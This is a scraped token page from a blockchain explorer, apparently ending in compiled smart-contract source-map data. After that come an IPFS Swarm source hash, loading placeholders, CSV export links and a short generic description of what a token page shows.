;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;9726:125;9791:9;;;9812:10;;;9809:36;;;9825:18;;:::i;10211:135::-;10250:3;10271:17;;;10268:43;;10291:18;;:::i;:::-;-1:-1:-1;10338:1:1;10327:13;;10211:135::o;10351:128::-;10418:9;;;10439:11;;;10436:37;;;10453:18;;:::i;10616:127::-;10677:10;10672:3;10668:20;10665:1;10658:31;10708:4;10705:1;10698:15;10732:4;10729:1;10722:15;10748:980;11010:4;11058:3;11047:9;11043:19;11089:6;11078:9;11071:25;11115:2;11153:6;11148:2;11137:9;11133:18;11126:34;11196:3;11191:2;11180:9;11176:18;11169:31;11220:6;11255;11249:13;11286:6;11278;11271:22;11324:3;11313:9;11309:19;11302:26;;11363:2;11355:6;11351:15;11337:29;;11384:1;11394:195;11408:6;11405:1;11402:13;11394:195;;;11473:13;;-1:-1:-1;;;;;11469:39:1;11457:52;;11564:15;;;;11529:12;;;;11505:1;11423:9;11394:195;;;-1:-1:-1;;;;;;;11645:32:1;;;;11640:2;11625:18;;11618:60;-1:-1:-1;;;11709:3:1;11694:19;11687:35;11606:3;10748:980;-1:-1:-1;;;10748:980:1:o;11733:217::-;11773:1;11799;11789:132;;11843:10;11838:3;11834:20;11831:1;11824:31;11878:4;11875:1;11868:15;11906:4;11903:1;11896:15;11789:132;-1:-1:-1;11935:9:1;;11733:217::o
Swarm Source
ipfs://0e9f19abbafcec1e1bcacb67fb7e223faa9f57929f3bf9136d5d808ee85c0947
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.